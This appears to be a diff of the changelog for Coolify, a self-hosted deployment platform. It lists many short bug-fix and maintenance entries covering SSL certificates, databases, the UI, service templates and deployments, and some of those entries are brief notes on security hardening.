-- *(ui)* Select component should not always uses title case
-- *(db)* SSL certificates table and model
-- *(migration)* Ssl certificates table
-- *(databases)* Fix database name users new `uuid` instead of DB one
-- *(database)* Fix volume and file mounts and naming
-- *(migration)* Store subjectAlternativeNames as a json array in the db
-- *(ssl)* Make sure the subjectAlternativeNames are unique and stored correctly
-- *(ui)* Certificate expiration data is null before starting the DB
-- *(deletion)* Fix DB deletion
-- *(ssl)* Improve SSL cert file mounts
-- *(ssl)* Always create ca crt on disk even if it is already there
-- *(ssl)* Use mountPath parameter not a hardcoded path
-- *(ssl)* Use 1 instead of on for mysql
-- *(ssl)* Do not remove SSL directory
-- *(ssl)* Wrong ssl cert is loaded to the server and UI error when regenerating SSL
-- *(ssl)* Make sure when regenerating the CA cert it is not overwritten with a server cert
-- *(ssl)* Regenerating certs for a specific DB
-- *(ssl)* Fix MariaDB and MySQL need CA cert
-- *(ssl)* Add mount path to DB to fix regeneration of certs
-- *(ssl)* Fix SSL regeneration to sign with CA cert and use mount path
-- *(ssl)* Get caCert correctly
-- *(ssl)* Remove caCert even if it is a folder by accident
-- *(ssl)* Ger caCert and `mountPath` correctly
-- *(ui)* Only show Regenerate SSL Certificates button when there is a cert
-- *(ssl)* Server id
-- *(ssl)* When regenerating SSL certs the cert is not singed with the new CN
-- *(ssl)* Adjust ca paths for MySQL
-- *(ssl)* Remove mode selection for MariaDB as it is not supported
-- *(ssl)* Permission issue with MariDB cert and key and paths
-- *(ssl)* Rename Redis mode to verify-ca as it is not verify-full
-- *(ui)* Remove unused mode for MongoDB
-- *(ssl)* KeyDB port and caCert args are missing
-- *(ui)* Enable SSL is not working correctly for KeyDB
-- *(ssl)* Add `--tls` arg to DrangflyDB
-- *(notification)* Always send SSL notifications
-- *(database)* Change default value of enable_ssl to false for multiple tables
-- *(ui)* Correct grammatical error in 404 page
-- *(seeder)* Update GitHub app name in GithubAppSeeder
-- *(plane)* Update APP_RELEASE to v0.25.2 in environment configuration
-- *(domain)* Dispatch refreshStatus event after successful domain update
-- *(database)* Correct container name generation for service databases
-- *(database)* Limit container name length for database proxy
-- *(database)* Handle unsupported database types in StartDatabaseProxy
-- *(database)* Simplify container name generation in StartDatabaseProxy
-- *(install)* Handle potential errors in Docker address pool configuration
-- *(backups)* Retention settings
-- *(redis)* Set default redis_username for new instances
-- *(core)* Improve instantSave logic and error handling
-- *(general)* Correct link to framework specific documentation
-- *(core)* Redirect healthcheck route for dockercompose applications
-- *(api)* Use name from request payload
-- *(issue#4746)* Do not use setGitImportSettings inside of generateGitLsRemoteCommands
-- Correct some spellings
-- *(service)* Replace deprecated credentials env variables on keycloak service
-- *(keycloak)* Update keycloak image version to 26.1
-- *(console)* Handle missing root user in password reset command
-- *(ssl)* Handle missing CA certificate in SSL regeneration job
-- *(copy-button)* Ensure text is safely passed to clipboard
-- *(file-storage)* Double save on compose volumes
-- *(parser)* Add logging support for applications in services
-- Only get apps for the current team
-- *(DeployController)* Cast 'pr' query parameter to integer
-- *(deploy)* Validate team ID before deployment
-- *(wakapi)* Typo in env variables and add some useful variables to wakapi.yaml (#5424)
-- *(ui)* Instance Backup settings
-- *(docs)* Comment out execute for now
-- *(installation)* Mount the docker config
-- *(installation)* Path to config file for docker login
-- *(service)* Add health check to Bugsink service (#5512)
-- *(email)* Emails are not sent in multiple cases
-- *(deployments)* Use graceful shutdown instead of `rm`
-- *(docs)* Contribute service url (#5517)
-- *(proxy)* Proxy restart does not work on domain
-- *(ui)* Only show copy button on https
-- *(database)* Custom config for MongoDB (#5471)
-- *(api)* Used ssh keys can be deleted
-- *(email)* Transactional emails not sending
-- *(CheckProxy)* Update port conflict check to ensure accurate grep matching
-- *(CheckProxy)* Refine port conflict detection with improved grep patterns
-- *(CheckProxy)* Enhance port conflict detection by adjusting ss command for better output
-- *(api)* Add back validateDataApplications (#5539)
-- *(CheckProxy, Status)* Prevent proxy checks when force_stop is active; remove debug statement in General
-- *(Status)* Conditionally check proxy status and refresh button based on force_stop state
-- *(General)* Change redis_password property to nullable string
-- *(DeployController)* Update request handling to use input method and enhance OpenAPI description for deployment endpoint
-- *(pre-commit)* Correct input redirection for /dev/tty and add OpenAPI generation command
-- *(pricing-plans)* Adjust grid class for improved layout consistency in subscription pricing plans
-- *(migrations)* Make stripe_comment field nullable in subscriptions table
-- *(mongodb)* Also apply custom config when SSL is enabled
-- *(templates)* Correct casing of denoKV references in service templates and YAML files
-- *(deployment)* Handle missing destination in deployment process to prevent errors
-- *(parser)* Transform associative array labels into key=value format for better compatibility
-- *(redis)* Update username and password input handling to clarify database sync requirements
-- *(source)* Update connected source display to handle cases with no source connected
-- *(application)* Append base directory to git branch URLs for improved path handling
-- *(templates)* Correct casing of "denokv" to "denoKV" in service templates JSON
-- *(navbar)* Update error message link to use route for environment variables navigation
-- Unsend template
-- Replace ports with expose
-- *(templates)* Update Unsend compose configuration for improved service integration
-- *(backup-edit)* Conditionally enable S3 checkbox based on available validated S3 storage
-- *(source)* Update no sources found message for clarity
-- *(api)* Correct middleware for service update route to ensure proper permissions
-- *(api)* Handle JSON response in service creation and update methods for improved error handling
-- Add 201 json code to servers validate api response
-- *(docker)* Ensure password hashing only occurs when HTTP Basic Authentication is enabled
-- *(docker)* Enhance hostname and GPU option validation in Docker run to compose conversion
-- *(terminal)* Enhance WebSocket client verification with authorized IPs in terminal server
-- *(ApplicationDeploymentJob)* Ensure source is an object before checking GitHub app properties
-- *(ui)* Disable livewire navigate feature (causing spam of setInterval())
-- *(ui)* Remove required attribute from image input in service application view
-- *(ui)* Change application image validation to be nullable in service application view
-- *(Server)* Correct proxy path formatting for Traefik proxy type
-- *(service)* Graceful shutdown of old container (#5731)
-- *(ServerCheck)* Enhance proxy container check to ensure it is running before proceeding
-- *(applications)* Include pull_request_id in deployment queue check to prevent duplicate deployments
-- *(database)* Update label for image input field to improve clarity
-- *(ServerCheck)* Set default proxy status to 'exited' to handle missing container state
-- *(database)* Reduce container stop timeout from 300 to 30 seconds for improved responsiveness
-- *(ui)* System theming for charts (#5740)
-- *(dev)* Mount points?!
-- *(dev)* Proxy mount point
-- *(ui)* Allow adding scheduled backups for non-migrated databases
-- *(DatabaseBackupJob)* Escape PostgreSQL password in backup command (#5759)
-- *(ui)* Correct closing div tag in service index view
-- *(select)* Update fallback logo path to use absolute URL for improved reliability
-- *(constants)* Adding 'fedora-asahi-remix' as a supported OS (#5646)
-- *(authentik)* Update docker-compose configuration for authentik service
-- *(api)* Allow nullable destination_uuid (#5683)
-- *(service)* Fix documenso startup and mail (#5737)
-- *(docker)* Fix production dockerfile
-- *(service)* Navidrome service
-- *(service)* Passbolt
-- *(service)* Add missing ENVs to NTFY service (#5629)
-- *(service)* NTFY is behind a proxy
-- *(service)* Vert logo and ENVs
-- *(service)* Add platform to Observium service
-- *(ActivityMonitor)* Prevent multiple event dispatches during polling
-- *(service)* Convex ENVs and update image versions (#5827)
-- *(service)* Paymenter
-- *(ApplicationDeploymentJob)* Ensure correct COOLIFY_FQDN/COOLIFY_URL values (#4719)
-- *(service)* Snapdrop no matching manifest error (#5849)
-- *(service)* Use the same volume between chatwoot and sidekiq (#5851)
-- *(api)* Validate docker_compose_raw input in ApplicationsController
-- *(api)* Enhance validation for docker_compose_raw in ApplicationsController
-- *(select)* Update PostgreSQL versions and titles in resource selection
-- *(database)* Include DatabaseStatusChanged event in activityMonitor dispatch
-- *(css)* Tailwind v5 things
-- *(service)* Diun ENV for consistency
-- *(service)* Memos service name
-- *(css)* 8+ issue with new tailwind v4
-- *(css)* `bg-coollabs-gradient` not working anymore
-- *(ui)* Add back missing service navbar components
-- *(deploy)* Update resource timestamp handling in deploy_resource method
-- *(patches)* DNF reboot logic is flipped
-- *(deployment)* Correct syntax for else statement in docker compose build command
-- *(shared)* Remove unused relation from queryDatabaseByUuidWithinTeam function
-- *(deployment)* Correct COOLIFY_URL and COOLIFY_FQDN assignments based on parsing version in preview deployments
-- *(docker)* Ensure correct parsing of environment variables by limiting explode to 2 parts
-- *(project)* Update selected environment handling to use environment name instead of UUID
-- *(ui)* Update server status display and improve server addition layout
-- *(service)* Neon WS Proxy service not working on ARM64 (#5887)
-- *(server)* Enhance error handling in server patch check notifications
-- *(PushServerUpdateJob)* Add null checks before updating application and database statuses
-- *(environment-variables)* Update label text for build variable checkboxes to improve clarity
-- *(service-management)* Update service stop and restart messages for improved clarity and formatting
-- *(preview-form)* Update helper text formatting in preview URL template input for better readability
-- *(application-management)* Improve stop messages for application, database, and service to enhance clarity and formatting
-- *(application-configuration)* Prevent access to preview deployments for deploy_key applications and update menu visibility accordingly
-- *(select-component)* Handle exceptions during parameter retrieval and environment selection in the mount method
-- *(previews)* Escape container names in stopContainers method to prevent shell injection vulnerabilities
-- *(docker)* Add protection against empty container queries in GetContainersStatus to prevent unnecessary updates
-- *(modal-confirmation)* Decode HTML entities in confirmation text to ensure proper display
-- *(select-component)* Enhance user interaction by adding cursor styles and disabling selection during processing
-- *(deployment-show)* Remove unnecessary fixed positioning for button container to improve layout responsiveness
-- *(email-notifications)* Change notify method to notifyNow for immediate test email delivery
-- *(service-templates)* Update Convex service configuration to use FQDN variables
-- *(database-heading)* Simplify stop database message for clarity
-- *(navbar)* Remove unnecessary x-init directive for loading proxy configuration
-- *(patches)* Add padding to loading message for better visibility during update checks
-- *(terminal-connection)* Improve error handling and stability for auto-connection; enhance component readiness checks and retry logic
-- *(terminal)* Add unique wire:key to terminal component for improved reactivity and state management
-- *(css)* Adjust utility classes in utilities.css for consistent application of Tailwind directives
-- *(css)* Refine utility classes in utilities.css for proper Tailwind directive application
-- *(install)* Update Docker installation script to use dynamic OS_TYPE and correct installation URL
-- *(cloudflare)* Add error handling to automated Cloudflare configuration script
-- *(navbar)* Add error handling for proxy status check to improve user feedback
-- *(web)* Update user team retrieval method for consistent authentication handling
-- *(cloudflare)* Update refresh method to correctly set Cloudflare tunnel status and improve user notification on IP address update
-- *(service)* Update service template for affine and add migration service for improved deployment process
-- *(supabase)* Update Supabase service images and healthcheck methods for improved reliability
-- *(terminal)* Now it should work
-- *(degraded-status)* Remove unnecessary whitespace in badge element for cleaner HTML
-- *(routes)* Add name to security route for improved route management
-- *(migration)* Update default value handling for is_sentinel_enabled column in server_settings
-- *(seeder)* Conditionally dispatch CheckAndStartSentinelJob based on server's sentinel status
-- *(service)* Disable healthcheck logging for Gotenberg (#6005)
-- *(service)* Joplin volume name (#5930)
-- *(server)* Update sentinelUpdatedAt assignment to use server's sentinel_updated_at property
-- *(service)* Audiobookshelf healthcheck command (#5993)
-- *(service)* Downgrade Evolution API phone version (#5977)
-- *(service)* Pingvinshare-with-clamav
-- *(ssh)* Scp requires square brackets for ipv6 (#6001)
-- *(github)* Changing github app breaks the webhook. it does not anymore
-- *(parser)* Improve FQDN generation and update environment variable handling
-- *(ui)* Enhance status refresh buttons with loading indicators
-- *(ui)* Update confirmation button text for stopping database and service
-- *(routes)* Update middleware for deploy route to use 'api.ability:deploy'
-- *(ui)* Refine API token creation form and update helper text for clarity
-- *(ui)* Adjust layout of deployments section for improved alignment
-- *(ui)* Adjust project grid layout and refine server border styling for better visibility
-- *(ui)* Update border styling for consistency across components and enhance loading indicators
-- *(ui)* Add padding to section headers in settings views for improved spacing
-- *(ui)* Reduce gap between input fields in email settings for better alignment
-- *(docker)* Conditionally enable gzip compression in Traefik labels based on configuration
-- *(parser)* Enable gzip compression conditionally for Pocketbase images and streamline service creation logic
-- *(ui)* Update padding for trademarks policy and enhance spacing in advanced settings section
-- *(ui)* Correct closing tag for sponsorship link in layout popups
-- *(ui)* Refine wording in sponsorship donation prompt in layout popups
-- *(ui)* Update navbar icon color and enhance popup layout for sponsorship support
-- *(ui)* Add target="_blank" to sponsorship links in layout popups for improved user experience
-- *(models)* Refine comment wording in User model for clarity on user deletion criteria
-- *(models)* Improve user deletion logic in User model to handle team member roles and prevent deletion if user is alone in root team
-- *(ui)* Update wording in sponsorship prompt for clarity and engagement
-- *(shared)* Refactor gzip handling for Pocketbase in newParser function for improved clarity
-- *(server)* Prepend 'mux_' to UUID in muxFilename method for consistent naming
-- *(ui)* Enhance terminal access messaging to clarify server functionality and terminal status
-- *(database)* Proxy ssl port if ssl is enabled
-- *(terminal)* Ensure shell execution only uses valid shell if available in terminal command
-- *(ui)* Improve destination selection description for clarity in resource segregation
-- *(jobs)* Update middleware to use expireAfter for WithoutOverlapping in multiple job classes
-- Removing eager loading (#6071)
-- *(template)* Adjust health check interval and retries for excalidraw service
-- *(ui)* Env variable settings wrong order
-- *(service)* Ensure configuration changes are properly tracked and dispatched
-- *(service)* Update Postiz compose configuration for improved server availability
-- *(install.sh)* Use IPV4_PUBLIC_IP variable in output instead of repeated curl
-- *(env)* Generate literal env variables better
-- *(deployment)* Update x-data initialization in deployment view for improved functionality
-- *(deployment)* Enhance COOLIFY_URL and COOLIFY_FQDN variable generation for better compatibility
-- *(deployment)* Improve docker-compose domain handling and environment variable generation
-- *(deployment)* Refactor domain parsing and environment variable generation using Spatie URL library
-- *(deployment)* Update COOLIFY_URL and COOLIFY_FQDN generation to use Spatie URL library for improved accuracy
-- *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management
-- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6
-- *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy
-- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7
-- *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency
-- *(horizon)* Update queue configuration to use environment variable for dynamic queue management
-- *(horizon)* Add silenced jobs
-- *(application)* Sanitize service names for HTML form binding and ensure original names are stored in docker compose domains
-- *(previews)* Adjust padding for rate limit message in application previews
-- *(previews)* Order application previews by pull request ID in descending order
-- *(previews)* Add unique wire keys for preview containers and services based on pull request ID
-- *(previews)* Enhance domain generation logic for application previews, ensuring unique domains are created when none are set
-- *(previews)* Refine preview domain generation for Docker Compose applications, ensuring correct method usage based on build pack type
-- *(ui)* Typo on proxy request handler tooltip (#6192)
-- *(backups)* Large database backups are not working (#6217)
-- *(backups)* Error message if there is no exception
-- *(installer)* Public IPv4 link does not work
-- *(composer)* Version constraint of prompts
-- *(service)* Budibase secret keys (#6205)
-- *(service)* Wg-easy host should be just the FQDN
-- *(ui)* Search box overlaps the sidebar navigation (#6176)
-- *(webhooks)* Exclude webhook routes from CSRF protection (#6200)
-- *(services)* Update environment variable naming convention to use underscores instead of dashes for SERVICE_FQDN and SERVICE_URL
-- *(service)* Triliumnext platform and link
-- *(application)* Update service environment variables when generating domain for Docker Compose
-- *(application)* Add option to suppress toast notifications when loading compose file
-- *(git)* Tracking issue due to case sensitivity
-- *(git)* Tracking issue due to case sensitivity
-- *(git)* Tracking issue due to case sensitivity
-- *(ui)* Delete button width on small screens (#6308)
-- *(service)* Matrix entrypoint
-- *(ui)* Add flex-wrap to prevent overflow on small screens (#6307)
-- *(docker)* Volumes get delete when stopping a service if `Delete Unused Volumes` is activated (#6317)
-- *(docker)* Cleanup always running on deletion
-- *(proxy)* Remove hardcoded port 80/443 checks (#6275)
-- *(service)* Update healthcheck of penpot backend container (#6272)
-- *(api)* Duplicated logs in application endpoint (#6292)
-- *(service)* Documenso signees always pending (#6334)
-- *(api)* Update service upsert to retain name and description values if not set
-- *(database)* Custom postgres configs with SSL (#6352)
-- *(policy)* Update delete method to check for admin status in S3StoragePolicy
-- *(container)* Sort containers alphabetically by name in ExecuteContainerCommand and update filtering in Terminal Index
-- *(application)* Streamline environment variable updates for Docker Compose services and enhance FQDN generation logic
-- *(constants)* Update 'Change Log' to 'Changelog' in settings dropdown
-- *(constants)* Update coolify version to 4.0.0-beta.420.7
-- *(parsers)* Clarify comments and update variable checks for FQDN and URL handling
-- *(terminal)* Update text color for terminal availability message and improve readability
-- *(drizzle-gateway)* Remove healthcheck from drizzle-gateway compose file and update service template
-- *(templates)* Should generate old SERVICE_FQDN service templates as well
-- *(constants)* Update official service template URL to point to the v4.x branch for accuracy
-- *(git)* Use exact refspec in ls-remote to avoid matching similarly named branches (e.g., changeset-release/main). Use refs/heads/<branch> or provider-specific PR refs.
-- *(ApplicationPreview)* Change null check to empty check for fqdn in generate_preview_fqdn method
-- *(email notifications)* Enhance EmailChannel to validate team membership for recipients and handle errors gracefully
-- *(service api)* Separate create and update service functionalities
-- *(templates)* Added a category tag for the docs service filter
-- *(application)* Clear Docker Compose specific data when switching away from dockercompose
-- *(database)* Conditionally set started_at only if the database is running
-- *(ui)* Handle null values in postgres metrics (#6388)
-- Disable env sorting by default
-- *(proxy)* Filter host network from default proxy (#6383)
-- *(modal)* Enhance confirmation text handling
-- *(notification)* Update unread count display and improve HTML rendering
-- *(select)* Remove unnecessary sanitization for logo rendering
-- *(tags)* Update tag display to limit name length and adjust styling
-- *(init)* Improve error handling for deployment and template pulling processes
-- *(settings-dropdown)* Adjust unread count badge size and display logic for better consistency
-- *(sanitization)* Enhance DOMPurify hook to remove Alpine.js directives for improved XSS protection
-- *(servercheck)* Properly check server statuses with and without Sentinel
-- *(errors)* Update error pages to provide navigation options
-- *(github-deploy-key)* Update background color for selected private keys in deployment key selection UI
-- *(auth)* Enhance authorization checks in application management
-- *(backups)* S3 backup upload is failing
-- *(backups)* Rollback helper update for now
-- *(parsers)* Replace hyphens with underscores in service names for consistency. this allows to properly parse custom domains in docker compose based applications
-- *(parsers)* Implement parseDockerVolumeString function to handle various Docker volume formats and modes, including environment variables and Windows paths. Add unit tests for comprehensive coverage.
-- *(git)* Submodule update command uses an unsupported option (#6454)
-- *(service)* Swap URL for FQDN on matrix template (#6466)
-- *(parsers)* Enhance volume string handling by preserving mode in application and service parsers. Update related unit tests for validation.
-- *(docker)* Update parser version in FQDN generation for service-specific URLs
-- *(parsers)* Do not modify service names, only for getting fqdns and related envs
-- *(compose)* Temporary allow to edit volumes in apps (compose based) and services
-- *(previews)* Simplify FQDN generation logic by removing unnecessary empty check
-- *(templates)* Update Matrix service compose configuration for improved compatibility and clarity
-- *(ui)* Transactional email settings link on members page (#6491)
-- *(api)* Add custom labels generation for applications with readonly container label setting enabled
-- *(ui)* Add cursor pointer to upgrade button for better user interaction
-- *(templates)* Update SECRET_KEY environment variable in getoutline.yaml to use SERVICE_HEX_32_OUTLINE
-- *(command)* Enhance database deletion command to support multiple database types
-- *(command)* Enhance cleanup process for stuck application previews by adding force delete for trashed records
-- *(user)* Ensure email attributes are stored in lowercase for consistency and prevent case-related issues
-- *(webhook)* Replace delete with forceDelete for application previews to ensure immediate removal
-- *(ssh)* Introduce SshRetryHandler and SshRetryable trait for enhanced SSH command retry logic with exponential backoff and error handling
-- Appwrite template - 500 errors, missing env vars etc.
-- *(LocalFileVolume)* Add missing directory creation command for workdir in saveStorageOnServer method
-- *(ScheduledTaskJob)* Replace generic Exception with NonReportableException for better error handling
-- *(web-routes)* Enhance backup response messages to clarify local and S3 availability
-- *(proxy)* Replace CheckConfiguration with GetProxyConfiguration and SaveConfiguration with SaveProxyConfiguration for improved clarity and consistency in proxy management
-- *(private-key)* Implement transaction handling and error verification for private key storage operations
-- *(deployment)* Add COOLIFY_* environment variables to Nixpacks build context for enhanced deployment configuration
-- *(application)* Add functionality to stop and remove Docker containers on server
-- *(templates)* Update 'compose' configuration for Appwrite service to enhance compatibility and streamline deployment
-- *(security)* Update contact email for reporting vulnerabilities to enhance privacy
-- *(feedback)* Update feedback email address to improve communication with users
-- *(security)* Update contact email for vulnerability reports to improve security communication
-- *(navbar)* Restrict subscription link visibility to admin users in cloud environment
-- *(docker)* Enhance container status aggregation for multi-container applications, including exclusion handling based on docker-compose configuration
-- *(application)* Improve watch paths handling by trimming and filtering empty paths to prevent unnecessary triggers
-- *(server)* Update server usability check to reflect actual Docker availability status
-- *(server)* Add build server check to disable Sentinel and update related logic
-- *(server)* Implement refreshServer method and update navbar event listener for improved server state management
-- *(deployment)* Prevent removal of running containers for pull request deployments in case of failure
-- *(docker)* Redirect stderr to stdout for container log retrieval to capture error messages
-- *(clone)* Update destinations method call to ensure correct retrieval of selected destination
-- *(docker)* Enhance container status aggregation to include restarting and exited states
-- *(environment)* Correct grammatical errors in helper text for environment variable sorting checkbox
-- *(ui)* Change order and fix ui on small screens
-- Order for git deploy types
-- *(deployment)* Enhance Dockerfile modification for build-time variables and secrets during deployment in case of docker compose buildpack
-- Hide sensitive email change fields in team member responses
-- *(domains)* Trim whitespace from domains before validation
-- *(databases)* Update backup retrieval logic to include team context
-- *(environment-variables)* Update affected services in environment variable analysis
-- *(team)* Clear stripe_subscription_id on subscription end
-- *(github)* Update authentication method for GitHub app operations
-- *(databases)* Restrict database updates to allowed fields only
-- *(cache)* Add Model import to ClearsGlobalSearchCache trait for improved functionality
-- *(environment-variables)* Correct method call syntax in analyzeBuildVariable function
-- *(clears-global-search-cache)* Refine team retrieval logic in getTeamIdForCache method
-- *(subscription-job)* Enhance retry logic for VerifyStripeSubscriptionStatusJob
-- *(environment-variable)* Update checkbox visibility and helper text for build and runtime options
-- *(deployment-job)* Escape single quotes in build arguments for Docker Compose command
-- *(PreviewCompose)* Adds port to preview urls
-- *(deployment-job)* Enhance build time variable analysis
-- *(docker)* Adjust openssh-client installation in Dockerfile to avoid version bug
-- *(docker)* Streamline openssh-client installation in Dockerfile
-- *(team)* Normalize email case in invite link generation
-- *(README)* Update Juxtdigital description to reflect current services
-- *(environment-variable-warning)* Enhance warning logic to check for problematic variable values
-- *(install)* Ensure proper quoting of environment file paths to prevent issues with spaces
-- *(security)* Implement authorization checks for terminal access management
-- *(ui)* Improve mobile sidebar close behavior
-- *(application)* Restrict GitHub-based application settings to non-public repositories
-- *(traits)* Update saved_outputs handling in ExecuteRemoteCommand to use collection methods for better performance
-- *(application)* Enhance domain handling by replacing both dots and dashes with underscores for HTML form binding
-- *(constants)* Reduce command timeout from 7200 to 3600 seconds for improved performance
-- *(github)* Update repository URL to point to the v4.x branch for development
-- *(models)* Update sorting of scheduled database backups to order by creation date instead of name
-- *(socialite)* Add custom base URL support for GitLab provider in OAuth settings
-- *(configuration-checker)* Update message to clarify redeployment requirement for configuration changes
-- *(application)* Reduce docker stop timeout from 30 to 10 seconds for improved application shutdown efficiency
-- *(application)* Increase docker stop timeout from 10 to 30 seconds for better application shutdown handling
-- *(validation)* Update git:// URL validation to support port numbers and tilde characters in paths
-- Resolve scroll lock issue after closing quick search modal with escape key
-- Prevent quick search modal duplication from keyboard shortcuts
-- *(workflows)* Update CLAUDE API key reference in GitHub Actions workflow
-- *(ui)* Update docker registry image helper text for clarity
-- *(ui)* Correct HTML structure and improve clarity in Docker cleanup options
-- *(workflows)* Update CLAUDE API key reference in GitHub Actions workflow
-- *(api)* Correct OpenAPI schema annotations for array items
-- *(ui)* Improve queued deployment status readability in dark mode
-- *(git)* Handle additional repository URL cases for 'tangled' and improve branch assignment logic
-- *(git)* Enhance error handling for missing branch information during deployment
-- *(git)* Trim whitespace from repository, branch, and commit SHA fields
-- *(deployments)* Order deployments by ID for consistent retrieval
-- *(deployments)* Enhance builder container management and environment variable handling
 - Region env variable
 - Ente photos
 - *(elasticsearch)* Update Elasticsearch and Kibana configuration for enhanced security and setup
@@ -3875,417 +362,9 @@ ### 🐛 Bug Fixes
 - *(n8n)* Add DB_SQLITE_POOL_SIZE environment variable for configuration
 - *(template)* Remove default values for environment variables
 - Update metamcp image version and clean up environment variable syntax
-- *(service)* Update image version & healthcheck start period
-- Filter deprecated server types for Hetzner
-- Eliminate dark mode white screen flicker on page transitions
-- Handle redis_password in API database creation
-- Make modals scrollable on small screens
-- Resolve Livewire wire:model binding error in domains input
-- Make environment variable forms responsive
-- Make proxy logs page responsive
-- Improve proxy logs form layout for better responsive behavior
-- Prevent horizontal overflow in log text
-- Use break-all to force line wrapping in logs
 
 ### 💼 Other
 
-- Only allow cleanup in production
-- Make copy/password visible
-- Dns check
-- Remote docker engine
-- Colorful states
-- Application start
-- Colors on svelte-select
-- Improvements
-- Fix
-- Better layout for root team
-- Fix
-- Fixes
-- Fix
-- Fix
-- Fix
-- Fix
-- Fix
-- Fix
-- Fix
-- Insane amount
-- Fix
-- Fixes
-- Fixes
-- Fix
-- Fixes
-- Fixes
-- Show extraconfig if wp is running
-- Umami service
-- Base image selector
-- Laravel
-- Appwrite
-- Testing WS
-- Traefik?!
-- Traefik
-- Traefik
-- Traefik migration
-- Traefik
-- Traefik
-- Traefik
-- Notifications and application usage
-- *(fix)* Traefik
-- Css
-- Error message https://github.com/coollabsio/coolify/issues/502
-- Changes
-- Settings
-- For removing app
-- Local ssh port
-- Redesign a lot
-- Fixes
-- Loading indicator for plausible buttons
-- Fix
-- Fider
-- Typing
-- Fixes here and there
-- Dashboard fine-tunes
-- Fine-tune
-- Fixes
-- Fix
-- Dashbord fixes
-- Fixes
-- Fixes
-- Route to the correct path when creating destination from db config
-- Fixes
-- Change tooltips and info boxes
-- Added rc release
-- Database_branches
-- Login page
-- Fix login/register page
-- Update devcontainer
-- Add debug log
-- Fix initial loading icon bg
-- Fix loading start/stop db/services
-- Dashboard updates and a lot more
-- Dashboard updates
-- Fix tooltip
-- Fix button
-- Fix follow button
-- Arm should be on next all the time
-- Fix plausible
-- Fix cleanup button
-- Fix buttons
-- Responsive!
-- Fixes
-- Fix git icon
-- Dropdown as infobox
-- Small logs on mobile
-- Improvements
-- Fix destination view
-- Settings view
-- More UI improvements
-- Fixes
-- Fixes
-- Fix
-- Fixes
-- Beta features
-- Fix button
-- Service fixes
-- Fix basedirectory meaning
-- Resource button fix
-- Main resource search
-- Dev logs
-- Loading button
-- Fix gitlab importer view
-- Small fix
-- Beta flag
-- Hasura console notification
-- Fix
-- Fix
-- Fixes
-- Inprogress version of iam
-- Fix indicato
-- Iam & settings update
-- Send 200 for ping and installation wh
-- Settings icon
-- Docker-compose support
-- Docker compose
-- Remove worker jobs
-- One less worker thread
-- New resource label
-- Secrets on apps
-- Fix
-- Fixes
-- Reload compose loading
-- Pocketbase release
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Conditional on environment
-- Add missing variables
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Trpc
-- Extract process handling from async job.
-- Extract process handling from async job.
-- Extract process handling from async job.
-- Extract process handling from async job.
-- Extract process handling from async job.
-- Extract process handling from async job.
-- Extract process handling from async job.
-- Persisting data
-- Scheduled backups
-- Boarding
-- Backup existing database
-- User should know that the public key
-- Services are not availble yet
-- Show registered users on waitlist page
-- Nixpacksarchive
-- Add Plausible analytics
-- Global env variables
-- Fix
-- Trial emails
-- Server check instead of app check
-- Show trial instead of sub
-- Server lost connection
-- Services
-- Services
-- Services
-- Ui for services
-- Services
-- Services
-- Services
-- Fixes
-- Fix typo
-- Fixed z-index for version link.
-- Add source button
-- Fixed z-index for magicbar
-- A bit better error
-- More visible feedback button
-- Update help modal
-- Help
-- Marketing emails
-- Fix previews to preview
-- Uptime kume hc updated
-- Switch back to /data (volume errors)
-- Notifications
-- Add shared email option to everyone
-- Dockerimage
-- Updated dashboard
-- Fix
-- Fix
-- Coolify proxy access logs exposed in dev
-- Able to select environment on new resource
-- Delete server
-- Redis
-- Wordpress
-- Add helper to service domains
-- PAT by team
-- Generate services
-- Mongodb backup
-- Mongodb backup
-- Updates
-- Fix subs
-- New deployment jobs
-- Compose based apps
-- Swarm
-- Swarm
-- Swarm
-- Swarm
-- Disable trial
-- Meilisearch
-- Broadcast
-- 🌮
-- Env vars
-- Migrate to livewire 3
-- Fix for comma in labels
-- Add image name to service stack + better options visibility
-- Swarm
-- Swarm
-- Send notification email if payment
-- New modal component
-- Specific about newrelic logdrains
-- Updates
-- Change + icon to hamburger.
-- Redesign
-- Redesign
-- Run cleanup every day
-- Fix
-- Fix log outputs
-- Automatic cloudflare tunnels
-- Backup executions
-- Light buttons
-- Multiple server view
-- New pricing
-- Fix allowTab logic
-- Use 2 space instead of tab
-- Non-root user for remote servers
-- Non-root
-- Update resource operations view
-- Fix tag view
-- Fix a few boxes here and there
-- Responsive here and there
-- Rocketchat
-- New services based git apps
-- Unnecessary notification
-- Update process
-- Glances service
-- Glances
-- Able to update application
-- Add basedir + compose file in new compose based apps
-- Formbricks template add required CRON_SECRET
-- Add required CRON_SECRET to Formbricks template
-- Service env parsing
-- Actually update timezone on the server
-- Cron jobs are executed based on the server timezone
-- Server timezone seeder
-- Recent backups UI
-- Use apt-get instead of apt
-- Typo
-- Only pull helper image if the version is newer than the one
-- Plunk svg
-- Pull helper image if not available otherwise s3 backup upload fails
-- Set a default server timezone
-- Implement SSH Multiplexing
-- Enabel mux
-- Cleanup stale multiplexing connections
-- Remote servers with port and user
-- Do not change localhost server name on revalidation
-- Release.md file
-- SSH Multiplexing on docker desktop on Windows
-- Remove labels and assignees on issue close
-- Make sure this action is also triggered on PR issue close
-- Volumes on development environment
-- Clean new volume name for dev volumes
-- Persist DBs, services and so on stored in data/coolify
-- Add SSH Key fingerprint to DB
-- Add a fingerprint to every private key on save, create...
-- Make sure invalid private keys can not be added
-- Encrypt private SSH keys in the DB
-- Add is_sftp and is_server_ssh_key coloums
-- New ssh key file name on disk
-- Store all keys on disk by default
-- Populate SSH key folder
-- Populate SSH keys in dev
-- Use new function names and logic everywhere
-- Create a Multiplexing Helper
-- SSH multiplexing
-- Remove unused code form multiplexing
-- SSH Key cleanup job
-- Private key with ID 2 on dev
-- Move more functions to the PrivateKey Model
-- Add ssh key fingerprint and generate one for existing keys
-- ID issues on dev seeders
-- Server ID 0
-- Make sure in use private keys are not deleted
-- Do not delete SSH Key from disk during server validation error
